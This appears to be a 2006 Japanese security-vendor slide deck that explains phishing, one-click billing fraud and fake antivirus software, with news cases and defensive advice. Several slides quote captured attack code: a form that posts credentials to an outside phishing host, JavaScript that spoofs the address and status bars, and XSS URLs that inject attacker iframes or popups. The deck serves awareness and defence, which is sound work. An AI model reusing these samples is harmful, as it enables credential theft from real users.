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オンライン詐欺とは

オンライン詐欺とは、インターネットを利用した詐欺の総称で、イ

ンターネット詐欺、デジタル詐欺とも呼ばれる

不正行為のために個人情報を盗み取ったり、利用していないサー

ビスの料金を不当に請求したりする

オンライン詐欺には、フィッシング、架空請求メール、ワンクリック

詐欺、オークション詐欺、RMT詐欺（オンラインゲーム詐欺）など

がある
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フィッシングとは

フィッシングとは、本物そっくりの偽メールや偽サイトを使ってユー

ザーをだまし、パスワードやクレジットカード番号、個人情報などを

盗み取るオンライン詐欺の一種

「フィッシング」のネーミングの由来は、オンライン詐欺師がメール

のルアーを使ってインターネット・ユーザの海からパスワードや金

融データを釣り上げる(fish)ところからきている

“fishing”ではなく”phishing”
ハッカーの命名規則にのっとって“f”を“ph”に置き換えている

「洗練された」という英語のsophisticated とfishを組み合わせた造語

“password harvesting fishing”を縮めたもの

フィッシングを試みる人物のことをフィッシャー (Phisher)と呼ぶ
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なぜ引っ掛かってしまうのか

フィッシングに引っ掛かってしまう最大の理由は、本物と偽物の

区別が難しいから
振り込め詐欺は電話の向こうが本人かどうかを判断することが難しいから成立してしまう

フィッシングの場合、メールやWebサイトの真贋を見分けることができればだまされることはない

メールのヘッダなどを確認して偽装を見抜く方法はあるが、一般

の人が実行するのは難しい

メールやWebサイトが本物かどうかは、メールの差出人欄（From:）

やブラウザのアドレスバーに表示されるURL、HTMLメールやWeb

サイトに貼り付けられた会社のロゴマークなど簡単に目視できるも

ので確認するのが一般的だが、それはあまり役立たない
メールの差出人の名前は発信者が自由に設定することができるし、Webブラウザのアドレスバーに表示さ

れるURLが偽装できてしまうセキュリティホールも発見されている

JavaScriptを使ってアドレスバーを上書きし、偽サイトのURLを隠すといった手口もある

デジタルデータであるロゴマークは簡単に複製することができる
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フィッシング届出件数

Source: Phishing Activity Trends Report - Anti-Phishing Working Group
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フィッシングによる被害

会社名を騙られた企業は、被害者に対する損害の補償だけで

なく、被害を受けていない顧客からの苦情や問い合わせへの対

応を余儀なくされる

金銭的な被害だけではなく企業の社会的な信用を失墜させると

いう部分も大きい

フィッシングが社会現象となれば消費者の不安が募り、インター

ネットを利用した取引を控えるようになる

eコマースの発展に影響する恐れがある
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フィッシング被害額 (1/2)

Gartnerが2005年8月2日（米国時間）に発表したレポートによる

と、キャッシュカードやデビットカードに関連するフィッシングの被

害額は、過去12カ月（2004年6月から2005年5月？）で約27

億5000万ドルに上ったという
キャッシュカードを悪用するフィッシング、被害額は1年で約27億5000万ドルに (CNET Japan, 

2005/8/3) http://japan.cnet.com/news/sec/story/0,2000050480,20086088,00.htm

米アースリンクではフィッシング攻撃1件当たりの対処コストが4万

ドル強（ピーク時は11万5000ドル）もかかっている
待ったなし！ フィッシング対策 | 電子商取引の存在を脅かす詐欺行為から、顧客の財産と企業の“信用”

を守れ (CIO Magazine 2005年2月号) http://www.ciojp.com/contents/?id=00002056;t=24
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フィッシング被害額 (2/2)

国民生活センターの相談事例に、クレジット会社から身に覚えの

ないオンラインショッピングによる利用代金として50万円を超える

請求を受けたというものがあった
「フィッシング」被害　カード会社から50万円の請求 (国民生活センター, 2005/6/3) 

http://www.kokusen.go.jp/soudan_now/phishing.html

UFJカードは2005年2月7日、同社のクレジットカード会員がフィッ

シング詐欺の被害に遭った可能性があり、偽造カードによるキャッ

シングで約150万円が不正に引き出されたと発表
UFJカード会員がフィッシング詐欺被害か (ITmedia, 2005/2/7) 

http://www.itmedia.co.jp/news/articles/0502/07/news048.html
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フィッシング事件 (1/2)

FBIとアイオワ州ダベンポートの地元警察が、MSNユーザーを標的としてフィッ

シング攻撃を仕掛けた疑いで男を逮捕。司法当局によると、ジェイソン・ハリス

被告（22）はMicrosoftのMSNユーザーを標的に、フィッシングの手口を使って

クレジットカード番号と個人情報を盗み出したとして、有線通信不正行為75件

の罪に問われている。
MSNユーザー狙ったフィッシング詐欺で男を逮捕 (ITmedia, 2005/8/25) 

http://www.itmedia.co.jp/enterprise/articles/0508/25/news005.html

ハリケーン「カトリーナ」の被災者救済を装い、ウェブで約4万ドルを集めたフロリ

ダ在住の男が米国時間10月3日、詐欺罪で起訴された。起訴状によれば、フ

ロリダ在住のGary Kraserは、電子メールや自分で立ち上げたAirKatrina.com

というもっともらしいウェブサイトを使い、2日間で約50人の善意の人々から義

援金をだまし取ったという。
ハリケーン被害に乗じたネット詐欺で初の起訴--被災者救済を装い4万ドルを集める (CNET Japan, 

2005/10/4) http://japan.cnet.com/news/sec/story/0,2000050480,20088149,00.htm



Copyright (c) SecureBrain Corporation. All rights reserved.

フィッシング事件 (2/2)

不正ソフト「スパイウエア」を使ったインターネットバンキングの不正送金事件で、

不正アクセス禁止法違反容疑などで逮捕された平山喜一容疑者（３４）らが

昨年１０月ごろ、イーバンク銀行（東京）のホームページの偽サイトを作って、

顧客のパスワードなどを不正入手する「フィッシング」行為をしていたことが１１

日、警視庁ハイテク犯罪対策総合センターの調べでわかった。
「スパイウエア」で逮捕の男、「フィッシング」行為も (YOMIURI ONLINE, 2005/11/11) 

http://www.yomiuri.co.jp/net/news/20051111nt0e.htm

千葉市稲毛区稲毛台町、無職、小泉直容疑者（25）を詐欺と不正アクセス

禁止法違反の疑いで逮捕。昨年3月から今年１月ころにかけて、ヤフーが運

営するネットオークションの参加者を狙い、約300件総額約550万円分の不

正な取引をしていたとみて余罪を追及する。調べによると、小泉容疑者は１

月13日、フィッシングで入手した横浜市の女性会社員（28）のＩＤ番号やパス

ワードを使って、埼玉県三郷市の男性会社員（42）がネットオークションに出

品した旅行券など（約２万円相当）を落札し、だまし取った疑い。
フィッシング詐欺初摘発、ネット競売で他人装う・警視庁 (NIKKEI NET, 2/7/2006) 

http://it.nikkei.co.jp/security/news/net_crime.aspx?n=MMITca211307022006
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フィッシング・テクニック (1/3)

スパム

営利目的のスパムと詐欺目的のフィッシングではメールの内容は異なるが、収集

したメールアドレス宛に無差別にメールを大量配信するという点では同じ

スパマー（スパム送信者）のメールアドレス収集や無差別大量配信といったテクニッ

クはそのままフィッシングにも利用される

アンチスパムのフィルタリングを回避する

ランダムテキストの挿入やHTMLタグを悪用、URLブラックリストフィルターにブロックされ

ないようにドメインをハイジャックなど

スプーフィング（なりすまし）

偽メールや偽サイトであることをごまかすため

一般の人が本物か偽物かを識別するために確認するWebブラウザのアドレスバー

やステータスバー、メールの差出人欄などがスプーフィングの対象

アドレスバーやステータスバーの詐称にはセキュリティホールやJavaScriptが悪用され

る
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フィッシング・テクニック (2/3)

ハッキング

偽メールや偽サイトのためにコンピュータを乗っ取り、犯行を隠すための踏

み台として利用する

ソーシャルエンジニアリング

ここでのソーシャルエンジニアリングとは、人の心理を突き、うっかり個人情

報を漏らしてしまうように仕向けるテクニックをいう

メールのタイトルや本文に工夫を凝らし偽サイトへ誘導する

「アカウントの再認証が必要です」や「あなたの口座で疑わしい取引が行われ

ました」といった理由で個人情報を求める

本物そっくりに作られた偽サイト

偽物であることを気付かせないために、ユーザー情報を入力させた後でメン

テナンス中などのエラーメッセージを表示したり、本物のサイトに移動したりす

る
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フィッシング・テクニック (3/3)

マリシャスコード（悪意のあるコード）

ウイルス、ワーム、トロイの木馬を利用し、コンピュータを乗っ取る

キーロガーなどのスパイウェアを使って個人情報を入手する手口もある

ボット（遠隔操作できるようになったコンピュータ）は、偽メールの配信や

フィッシングサイトを構築するために使われる

セキュリティホール

アドレスバーやステータスバーの詐称はセキュリティホールを悪用して行

われる

Webブラウザのセキュリティホールだけでなく、本物のサイトのWeb アプリ

ケーションのセキュリティホール（クロスサイトスクリプティングなど）が悪用

されるケースもある
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フィッシングメール1

ロゴなどが貼り付けられた凝ったデザインのフィッシングメール。

画像データにリンクを設定し、実際の接続先を隠している
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フィッシングメール2 (1/2)

差出人を詐称し、件名に受信者のメールアドレスを挿入している。

本文は一見テキストメールのように見えるがHTMLメール
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フィッシングメール2 (2/2)

画面上に見えているリンクと実際に接続するリンク先が異なる。

GoogleとMSNのリダイレクト機能を使って偽サイトに接続する。

<A href="http://www.google.sh/url?q=http://go.msn.com/HML/5/5.asp?target=
http://%09%70e9%700i%70%%%2e%09%64%41.%%%%72%09%%75/" 
target=_blank>http://www.hsbc.co.uk/ypdGbr2JF4A6VgRWZit1xJ2t04CfxcR
ovzbMILbko9v2UxC6cN4o4fp12np</A>
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フィッシングメール3 (1/2)
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フィッシングメール3 (2/2)

メール中の入力フォームにカード情報などを直接入力し、「送信」

ボタンを押すと、入力した情報が偽サイトに送信される。

<FORM action=http://home.pufs.ac.kr/~together/zeroboard/si.php method=post 
target=_blank>

<INPUT type=hidden value=ballwanda@alltel.net name=mail>
<INPUT maxLength=64 size=27 name=userid>
<INPUT type=password maxLength=63 size=27 name=pass> 
<INPUT maxLength=63 size=27 name=eemail>
<INPUT type=password maxLength=63 size=27 name=emailpass>
<INPUT type=submit value=Submit name=submit>
</FORM>
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ポップアップウィンドウ (1/2)

偽の入力画面を本物らしく見せるため、バッググラウンドに本物

のサイトを表示する。
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ポップアップウィンドウ (2/2)

META Refreshを使って本物のサイトを読み込み後、

window.openでアドレスバーとツールバーを非表示にした偽のポッ

プアップウィンドウを表示する

<META HTTP-EQUIV="Refresh" CONTENT="0; 
URL=http://www.hsbc.co.uk/1/2/hsbc/about">
<SCRIPT language=JavaScript>

// ensure top window
if (window != top)
{

top.location = window.location;
}

</SCRIPT>
<title></title></HEAD>
<BODY bgColor=#ffffff onload="window.open('welcome3.html‘, 'metoo7‘, 
'top=205, left=230, width=410, height=250, toolbar=no, location=no, 
scrollbars=no, resizable=no')">
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ステータスバー偽装 (1/5)

JavaScriptを使ったステータスバーの偽装例

<SCRIPT language=JavaScript>
<!--

// Following COPYRIGHT 1997  Dennis & Family.  All Rights Reserved.
function snapIn(jumpSpaces,position) { var msg = 

"https://www.paypal.com/cgi-bin/webscr?cmd=_login-run"; var out = ""; for 
(var i=0; i<position; i++) { out += msg.charAt(i) } for (i=1;i<jumpSpaces;i++) { out 
+= " " } out += msg.charAt(position); window.status = out; if (jumpSpaces <= 1) 
{ position++; if (msg.charAt(position) == ' ') { position++ } jumpSpaces = 00-
position } else if (jumpSpaces >  3) { jumpSpaces *= .00 } else { jumpSpaces-- } 
if (position != msg.length) { var cmd = "snapIn(" + jumpSpaces + "," + position + 
")"; window.setTimeout(cmd,00); } return true }

//-->
</SCRIPT>
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ステータスバー偽装 (2/5)

アクティブ・スクリプトを無効にすると、JavaScriptスクリプトによる

ステータスバーの偽装を防ぐことができる
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ステータスバー偽装 (3/5)

TABLE要素を使ったアンカーでステータスバーを偽装し、実際

のリンク先とは異なるアドレスを表示

Secunia Advisories: Internet Explorer/Outlook Express 

Status Bar Spoofing(http://secunia.com/advisories/14304/)

<P><A id=MALL href="http://www.cerehad.org/redir.html"></A></P>
<DIV><A href="https://www.visa.com/upib/">
<TABLE>

<CAPTION><A href="https://www.visa.com/upib/"><LABEL for=MALL>
<U style="CURSOR: pointer; COLOR: blue">Sign On to Online
Banking</U>
</LABEL></A></CAPTION>
<TBODY></TBODY></TABLE></A></DIV>
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ステータスバー偽装 (4/5)
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ステータスバー偽装 (5/5)

実際のリンク先はhttp://www.cerehad.org/redir.htmlだが、ス

テータスバーにはhttps://www.visa.com/upib/と表示される
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アドレスバー偽装1 (1/5)

ポップアップウィンドウでアドレスバーを偽装する手口。アドレスバー

上にそれらしい文字列を配したポップアップウィンドウを表示し、

実際にアクセスしているURLを隠している
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アドレスバーの偽装1

var vuln_x, vuln_y, vuln_w, vuln_h;
function vuln_calc() {
var root= document[
(document.compatMode=='CSS1Compat') ?
'documentElement' : 'body'
];
vuln_x= window.screenLeft+72;
vuln_y= window.screenTop-20;
vuln_w= root.offsetWidth-200;
vuln_h= 17;
vuln_show();
}
var vuln_win;
function vuln_pop() {
vuln_win= window.createPopup();
vuln_win.document.body.innerHTML= 
vuln_html;
vuln_win.document.body.style.margin= 0;
vuln_win.document.body.onunload= 
vuln_pop;
vuln_show();
}

function vuln_show() {
if (vuln_win)
vuln_win.show(vuln_x, vuln_y, vuln_w, 
vuln_h);
}

var vuln_html= '¥x3Cdiv style="height: 100%; 
line-height: 17px; font-family: ¥'Tahoma¥', 
sans-serif; font-size: 
8pt;">https://www.paypal.com/cgi-bin/webscr'

if (window.createPopup) {
vuln_calc();
vuln_pop();
window.setInterval(vuln_calc, 25);
} else {
}
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アドレスバー偽装 (1/5)

Windows XP SP1では、クロムレス・ポップアップ・ウィンドウをアド

レスバーの上に表示させることができるが、Windows XP SP2で

は、強制的に親ウィンドウのクロムの上端と下端の間に表示され

る
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アドレスバー偽装 (1/5)

XP SP2でもセキュリティの設定によっては、アドレスバー上にポッ

プアップ・ウィンドウが表示されてしまう



Copyright (c) SecureBrain Corporation. All rights reserved.

アドレスバー偽装2 (1/4)

ポップウィンドウブロック機能の警告を回避するために用意された

ページ
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アドレスバー偽装2 (2/4)

Webブラウザが備えるポップアップブロック機能では、ユーザの意

図に反して自動的に現れるウィンドウはブロックされるが、ページ

要素をクリックするなど、ユーザ自身が起こしたアクションにより開

かれるポップアップウィンドウはブロックされない

詳しくはマイクロソフトの「Windows XP Service Pack 2 への対応

に向けた Web サイトの最適化」を参照

http://www.microsoft.com/japan/msdn/windows/windowsx

p/xpsp2web.asp
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アドレスバー偽装2 (3/4)

標準のアドレスバーを非表示にした上で、テーブルとイメージを

使って模造したアドレスバーを表示
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アドレスバー偽装2 (4/4)

偽のアドレスバーの下はフレームになっていて、アドレスバーにア

ドレスを入力してEnterキーを押すか、Goボタンをクリックすると、

指定したサイトのコンテンツを表示する

FRAME2

FRAME1
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アドレスバー偽装3 (1/3)
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アドレスバー偽装3 (2/3)

メニューバー、標準ボタン、アドレスバー、ステータスバーはすべ

て画像。メニュー項目は選択できないし、ボタンは効かない。アド

レスバーにURLを打ち込むこともできないし、ステータスバーに表

示されている鍵マークをダブルクリックしても証明書は表示され

ない。
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アドレスバー偽装3 (3/3)

XP SP2では、window.openの属性でステータスバー非表示を指

定してもステータスバーは必ず表示される

アドレスバーを隠している場合は、タイトルバーにホスト名が表示

される
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スパムフィルタ回避1 (1/2)
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スパムフィルタ回避1 (2/2)

テーブルの枠線を消した表の複数のセルに、メールのメッセージ

を分割して入れている。さらに、背景色を使ってランダムな文字

が挿入されている。
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スパムフィルタ回避2 (1/2)
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スパムフィルタ回避2 (2/2)

背景色または近似色でスパムやフィッシングとは関係のないテキ

ストを大量に挿入する。人間の目では見えないものでも、スパム・

フィルタはそれらの文字列をひろってしまう。
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スパムフィルタ回避3

文字やロゴデータを含んだメール本文のスクリーンショットを撮っ

ておき、それをメールに貼り付ける
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クロスサイトスクリプティング1 (1/3)
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クロスサイトスクリプティング1 (2/3)

http://www.charterone.com/cards/market.asp?code=%22%3E
%3Ciframe+style%3D%22top%3A0%3B+left%3A0%3B+positi
on%3Aabsolute%3B%22+FRAMEBORDER%3D%220%22+B
ORDER%3D%220%22+width%3D1000+height%3D600+src%
3D%22http%3A%2F%2F62.193.220.52/charter%2F%22%3E

http://www.charterone.com/cards/market.asp?code=><iframe
style="top:0; left:0; position:absolute;" FRAMEBORDER="0" 
BORDER="0" width=1000 height=600 
src="http://62.193.220.52/charter/">
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クロスサイトスクリプティング1 (3/3)

クロスサイト・スクリプティングの脆弱性を悪用してIFRAME要素を

埋め込み、ページを差し替えている
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クロスサイトスクリプティング2 (1/2)
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クロスサイトスクリプティング2 (1/2)

<A     
href="http://search.southtrust.com/iphrase/query?redirect&amp;s=116632544212&amp
;target=%3C%73%63%72%69%70%74%3E%77%69%6E%64%6F%77%2E%6F%70
%65%6E%28%27%68%74%74%70%3A%2F%2F%73%6F%75%74%68%74%72%75
%73%6C%2E%63%6F%6D%2F%53%69%67%6E%4F%6E%2F%53%69%67%6E%4
F%6E%2E%70%68%70%27%2C%27%70%6F%70%75%70%27%2C%27%77%69%
64%74%68%3D%38%30%30%27%2C%27%68%65%69%67%68%74%3D%35%30%
30%27%2C%27%73%63%72%6F%6C%6C%62%61%72%73%3D%79%65%73%27
%2C%27%72%65%73%69%7A%61%62%6C%65%3D%79%65%73%27%29%3B%7
7%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%6C%
6F%61%64%28%22%68%74%74%70%3A%2F%2F%77%77%77%2E%73%6F%75%
74%68%74%72%75%73%74%2E%63%6F%6D%2F%73%74%2F%43%6F%6D%6D
%65%72%63%69%61%6C%53%6F%6C%75%74%69%6F%6E%73%2F%22%29%3
B%3C%2F%73%63%72%69%70%74%3E%0D%0A%00"><FONT     
color=#0066cc>https://search.southtrust.com/retail/Login.asp</FONT></A>

<A     
href="http://search.southtrust.com/iphrase/query?redirect&amp;s=116632544212&amp
;target=<script>window.open('http://southtrusl.com/SignOn/SignOn.php','popup','width=
800','height=500','scrollbars=yes','resizable=yes');window.location.reload("http://www.s
outhtrust.com/st/CommercialSolutions/");</script>"><FONT     
color=#0066cc>https://search.southtrust.com/retail/Login.asp</FONT></A>
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紛らわしいURL (1/3)

会社名の一部などを使った紛らわしいURLで騙す
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紛らわしいURL (2/3)

msnbillingupdate.com

userpage-charterone.com

ebay.member-security.com/.eBay/

ebay-loginpage.com

paypal-com-us.com

www.paypal.com.international-transaction.info

protect-paypal.com

online-hsbc.com

www.paypal.com-cgi-bin.biz

nicos.concourse.jp

regionsbank.com.dish2.net.ibizdns.com

www.fraud-control.net/paypal/

staff.earthlink-box.net
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紛らわしいURL (3/3)

本物

偽物

http://www.personal-natwest.com/

https://www.nwolb.com/secure/default.asp?refererident=86077683
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便乗型フィッシング

ハリケーンKatrinaの被災者への寄付を募るフィッシング
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SSLを使ったフィッシング1 (1/2)

自己署名証明書（オレオレ証明書）を用いたもの
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SSLを使ったフィッシング1 (2/2)

オレオレ証明書の場合、ブラウザがセキュリティ警告を出すが、

警告を無視すると、アドレスバーにはhttpsから始まるURL、ステー

タスバーには鍵マークが表示される
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SSLを使ったフィッシング2 (1/2)
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SSLを使ったフィッシング2 (2/2)

オレオレ証明書ではなく、Equifaxから取得したサーバ証明書が

用いられている。ブラウザの警告メッセージも表示されない。
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IPアドレスチェック (1/2)

ユーザが入力したメールアドレスとパスワードは、日時、IPアドレス

とともにファイルに保存される
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IPアドレスチェック (2/2)

ユーザ

偽サイト
偽物

本物

①偽メールのリンクを
クリック

②IPアドレスをチェックし、未登録
の場合は偽サイトを表示する

③登録済みIPアドレスからのアクセスの場
合は本物のサイトにリダイレクトする
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ロングIPアドレス (1/2)

フィルタリング回避のために、フィッシングサイトのURLにロングIPア

ドレスや16進数表記を使う
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ロングIPアドレス (2/2)

通常、IPアドレスの表記には、「68.98.206.34」といった具合に10進数をドット

で区切る方法が用いられるが、それを「415561878」や

「0x18.0xe3.0x7d.0x36」「0x52c3e7e2」といった表記にすることで、対策を

すり抜けようとしている。

例えばYahoo! Japan（http://www.yahoo.co.jp/）のサイトにアクセスする場

合、次のように入力してもアクセスすることが可能である（使用しているOSやブ

ラウザなどによっては接続できない場合もある）

http://203.216.247.225/

http://3419994081/

((203×256+216)×256+247)×256+225

http://0xcb.0xd8.0xf7.0xe1/

http://0xcbd8f7e1/

http://0xcb.216.0xf7.225/
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タイポスクワッティング

タイポスクワッティング（typosquatting）はtypo（タイプミス）と

squatting（占有）を組み合わせた造語で有名サイトの類似ドメイ

ンを取得し、タイプミスを狙って偽サイトへ誘導する手口

KDDIとカブドットコム証券の偽サイト（フィッシングサイトではない）

wwwkddi.com、wwwkabu.comが発見されている

当社サイトに似せた異なるWEBサイトの存在について（カブドットコム証券, 

3/24/2006） http://kabu.com/info/20060324.asp

[重要] 当社サイトに似せた異なるWEBサイトの存在について（KDDI, 

3/28/2006）

http://www.kddi.com/news/kddi_home/news_topics/2006/0328/

「ピリオド」の有無に注意――KDDIやカブドットコムの偽サイトに相次ぎ警告

(ITmedia, 3/27/2006) 

http://www.itmedia.co.jp/enterprise/articles/0603/27/news081.ht

ml
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掲示板からフィッシング (1/2)
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掲示板からフィッシング (2/2)

偽サイトのURL（http://202.212.115.117/wallets_/wallet.html）

が掲示板に貼り付けられている
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ハッキング (1/3)

ハッキングしたWebサーバに複数のフィッシング・サイトを開設し

ているケースもある
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ハッキング (2/3)

個人のWebサイトだけでなく、企業のWebサイトがハッキングされ、

フィッシング・サイトが開設されてしまっているケースもある。これ

は日本のあるホテルのWebサイトがハッキングされた例
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ハッキング (3/3)

徳島大学のWebサーバーに攻撃、フィッシングサイトを設置され

る（INTERNET Watch, 4/13/2006）

http://internet.watch.impress.co.jp/cda/news/2006/04/13

/11629.html

松竹映画館ドットコム、フィッシング詐欺に悪用された恐れ

（INTERNET Watch, 1/19/2006）

http://internet.watch.impress.co.jp/cda/news/2006/01/19

/10544.html

東京都のナース向けサイトに不正アクセス、フィッシングサイト設

置される（INTERNET Watch, 1/20/2006）

http://internet.watch.impress.co.jp/cda/news/2006/01/20

/10568.html
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フィッシング構築キット

フィッシング構築キットがインターネット上で売買されている
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盗んだデータをネットで売買 (1/2)

フィッシングなどで収集されたカード情報はCarding（カーディング）

と呼ばれるWebサイトで売買される。カード情報はDump（ダンプ）

と呼ばれる。
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盗んだデータをネットで売買 (2/2)

日本のカード情報も売買の対象になっている
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フィッシング・マルウェアとは

フィッシング・マルウェアとは、IDやパスワード、クレジットカード番

号などを盗み取る機能を持つマルウェア

Phishing-based TrojanやCrimewareとも呼ばれる
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フィッシング・マルウェア数

Source: Phishing Activity Trends Report - Anti-Phishing Working Group
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フィッシング・マルウェアの種類 (1/2)

キーロガー (Keylogger)

ウィンドウタイトルやURLに銀行名などの特定の文字列が含まれているとキー

ストロークの記録を開始する

Trojan.Myss, PWSteal.Tarno, Trojan.Etsur, Keylogger.Stawin, 

Backdoor.Nibu, W32.Mytob@mm, PWSteal.Bamer, PWSteal.Banpaes, 

PWSteal.Botuk, PWSteal.Etavirp, PWSteal.Formglieder, PWSteal.Firum, 

PWSteal.MSNBancos, PWSteal.Perfectspy, W32.Kassbot, Trojan.Goldun

偽の入力画面を表示し、入力された情報を記録する

PWSteal.Bancos, W32.Mimail, PWSteal.Bankash, PWSteal.Finero, 

PWSteal.Freemega, PWSteal.Irftp, PWSteal.Marlap, PWSteal.Reanet, 

PWSteal.Secucent, PWSteal.Cardwiz
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フィッシング・マルウェアの種類 (2/2)

リダイレクタ (Redirector)

hostsファイルを改ざんし、偽サイトに接続させる

Trojan.Wayphisher, Trojan.Qhosts, W32.Looked

スクリーン・スクレイパー (Screen Scraper)

アドレスバーに事前に指定されたURLが入力されると、キーストロークを記

録し、スクリーンキャプチャを行う

PWSteal.Focosenha

その他

ブラウザの通信をハイジャック

PWSteal.Refest , PWSteal.Rivarts, PWSteal.Firum, PWSteal.Jginko

Cookieを盗む

Backdoor.Lala
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W32.Mimail.H@mm

偽のクレジットカード情報入力画面を表示する。入力された情報

はファイルに保存後、メールで送信される。
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PWSteal.Jginko (1/2)

PWSteal.Jginko(TSPY_BANCOS.ANM)は、HTTPパケットを監視

し、東京三菱銀行、イーバンク銀行、りそな銀行、三井住友銀行

などのWebサイトで入力されたユーザ名、パスワードなどの情報

を収集する
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PWSteal.Jginko (2/2)

銀行のサーバ
インターネットバンキングロ

グインページ

トロイの木馬ユーザ

攻撃者

①銀行のログインページに
アクセスする

②ユーザが入力したIDやパスワードな
どを盗み、攻撃者へ自動的に送信

④盗んだ情報で不正な
行為を行う

③正常にログインし、
取引ができる
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フィッシング対策 (1/2)

利用者の自衛手段

メール中のリンクは安易にクリックしない

個人情報をメールで送信しない

ブラウザには最新のパッチを当てる

個人情報を送信する前に鍵マークを確認する

サーバ証明書で本物のサイトかどうかチェックする

目的のサイトにはブラウザのブックマークからアクセスするか、直接アドレス

を入力してアクセスする

アドレスバーのURLを確認する

アンチウイルスを正しく使う
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フィッシング対策 (2/2)

メールにおける対策

アンチスパム技術でフィッシングメールを検出する

送信ドメイン認証技術でメールの送信元が信頼できるものかどうか確認す

る

Webにおける対策

URLフィルタリングで偽サイトを訪問させない

サーバ証明書を認証する事により、通信相手が本物に間違いない事を確

認する
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ワンクリック詐欺とは

ワンクリック詐欺とは、Webページ中の画像やリンクをクリックした

だけで料金を請求される架空請求・不正請求詐欺の一種

「ワンクリック料金請求」や「ワンクリック不正請求」、「ワンクリック

架空請求」と呼ばれることもある

最近では、画像をクリックすると料金を明示した確認画面を表示

する手口が増えている。料金請求画面の表示までに利用者がク

リックを2回することから、ツークリック詐欺と呼ばれることがある。
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ワンクリック詐欺の被害状況

IPAに寄せられたワンクリック詐欺の相談件数

ブロードバンド推進協議会 特別講演会「オンライン詐欺の脅威」 IPA発表資料より
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ワンクリック詐欺事件 (1/2)

「ワンクリック詐欺」で現金をだまし取ったとして、岩手県警は7日、東京都中

野区新井、著述業森一矢容疑者（35）ら計5人を詐欺の疑いで逮捕したと発

表した。県警は余罪は全国で約450件、被害額は約2800万円に上るとみて

いる。
ネット著述業の男　逮捕…ワンクリック詐欺容疑 (YOMIURI ONLINE, 11/8/2005) 

http://www.yomiuri.co.jp/net/news/20051108nt03.htm

アダルトサイトの画面を一度クリックしただけで入会の契約をしたと思わせる「ワ

ンクリックサイト」を利用し、金をだまし取ったとして、京都府警ハイテク犯罪対

策室などは6日、サイトのソフトを開発した高松市のコンピューターソフト開発会

社経営吉川正行容疑者（38）ら2人を詐欺容疑で逮捕した。サイトを運営した

岡山県倉敷市の会社社長田辺史朗容疑者（34）ら6人（風営法違反容疑で

逮捕）も詐欺容疑で再逮捕する方針。田辺容疑者らは1日に数万通のメール

を不特定多数に送信し、昨年秋以降、30都道府県の約1000人から計約

5000万円を振り込ませていたという。
ワンクリック詐欺、ソフト開発業者を初の逮捕 (YOMIURI ONLINE, 7/6/2005) 

http://www.yomiuri.co.jp/net/news/20050706nt06.htm
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ワンクリック詐欺事件 (2/2)

アダルトサイトを利用した「ワンクリック詐欺」で金をだまし取ったとして、詐欺や

組織犯罪処罰法違反などの罪に問われた奈良市の元会社役員金井亮太被

告（21）に、奈良地裁は12日、懲役2年、罰金100万円（求刑懲役3年、罰金

100万円）の判決を言い渡した。那覇市などの6人から計約65万円を詐取。

同様の手口で計3100万円余の犯罪収益を他人名義の口座に振り込ませた。

ワンクリック詐欺に実刑――3100万円をだまし取る (NIKKEI NET, 4/12/2006) 

http://it.nikkei.co.jp/security/news/net_crime.aspx?n=NN001Y452%2012042006
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ワンクリック詐欺の手口 (1/3)

ワンクリック詐欺サイト内の画像やリンクをクリックすると、利用料

金を明示した確認画面が表示される
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ワンクリック詐欺の手口 (2/3)

PC内から個人情報を収集しているように見える動画（アニメーショ

ンGIFやFlash）を表示
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ワンクリック詐欺の手口 (3/3)

登録手続き完了のページにはIPアドレスやプロバイダ名などを表

示し、個人を特定できているように見せる
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ワンクリック詐欺サイト1
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ワンクリック詐欺サイト2
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ワンクリック詐欺サイト3
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ワンクリック詐欺サイト4
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ワンクリ詐欺サイト5 (1/5)

ほとんどのワンクリック詐欺サイトはアダルト画像や動画をクリック

させるものだが、最近、アダルトサイト以外のワンクリック詐欺サイ

トも出現している
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ワンクリ詐欺サイト5 (2/5)
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ワンクリ詐欺サイト5 (3/5)
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ワンクリ詐欺サイト5 (4/5)
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ワンクリ詐欺サイト5 (5/5)
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ワンクリウェア (1/3)

ワンクリウェアは、詐欺サイトの画像やリンクのクリックでダウンロー

ドされ、実行すると次のような動作を行う

メールアドレスやユーザ名などの情報を収集して外部に送信

有料アダルトサイトに勝手に登録

ブラウザのスタートページを変更する

アドレス帳から メールアドレスを盗み取る

デスクトップに請求書（テキストファイル）を作成

定期的に利用料金の支払いを促すメッセージを表示する

Trojan.Alexmo, Trojan.Sokiron, Trojan.Snines, Trojan.Hachilem, 

Trojan.Aemonet, Trojan.Gurepirls, Trojan.Myftu, 

Spyware.Sesui, Adware.Movittone, Trojan.Binjoなど複数発見

されている（シマンテックのウイルス情報より）
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ワンクリウェア (2/3)

画像やリンクをクリックすると、プログラムをダウンロード。動画再

生手順でプログラムを実行するように仕向けている。
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ワンクリウェア (3/3)

定期的に利用料金の支払いを促すメッセージを表示
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ワンクリウェアサイト1
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ワンクリウェアサイト2
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ワンクリウェアの感染状況

各ワンクリウェアの感染数をトレンドマイクロのウイルスデータベー

ス(http://www.trendmicro.co.jp/vinfo/virusencyclo/)の感染

状況ページで確認（2006年4月21日21時現在）

6TROJ_SOKIRON.A

102TROJ_BINJO (B/J)

21TROJ_SNINES.A

感染数名称

TROJ_MYFTU (A/B/F/G/H/I/J/K/O/P/Q)

TROJ_HACHILEM (B/D/G/L)

1700

76
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インチキソフト

ウイルスやスパイウェアに感染する（している）可能性があるとして、

セキュリティ対策ソフトをダウンロードさせようとする

無償版をダウンロード後、有償版を購入するようにしつこくメッセー

ジを表示する

WinFixer（http://jp.winfixer.com/）やWinAntiVirusPro

（http://jp.winantivirus.com/）などがある

Bogusware（Bogus+Software）と呼ばれることがある

Bogusは「偽の」「インチキの」「機能しない」「無益な」
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手口 (1/4)

Webサイトにバナー広告の形式で警告が現れる

フリーのアクセスカウンタ（Nedstat）を設置している場合に表示される可能

性がある
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手口 (2/4)

バナーをクリックするとウイルス警告のポップアップウィンドウを表

示
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手口 (3/3)

セキュリティ対策ソフトの購入をすすめる
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手口 (4/4)

ダウンロードボタン押下でセキュリティ対策ソフトのインストールを

開始する
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WinAntiVirusPro 2006 (1/2)
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WinAntiVirusPro 2006 (2/2)

製品購入ページ
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WinFixer 2005
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ワンクリック詐欺対策

怪しいサイトにアクセスしない

リンクを安易にクリックしない

ブラウザやOSの警告を無視しない

最新のパッチを適用し、セキュリティホールのない状態にする

アンチウイルスやアンチスパイウェアなどを正しく使う
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まとめ

盗んだ個人情報が悪用され、金銭的な損害を蒙ることがある

金銭目的の詐欺犯は、ウイルス作者のように技術力を誇示したい愉快犯では

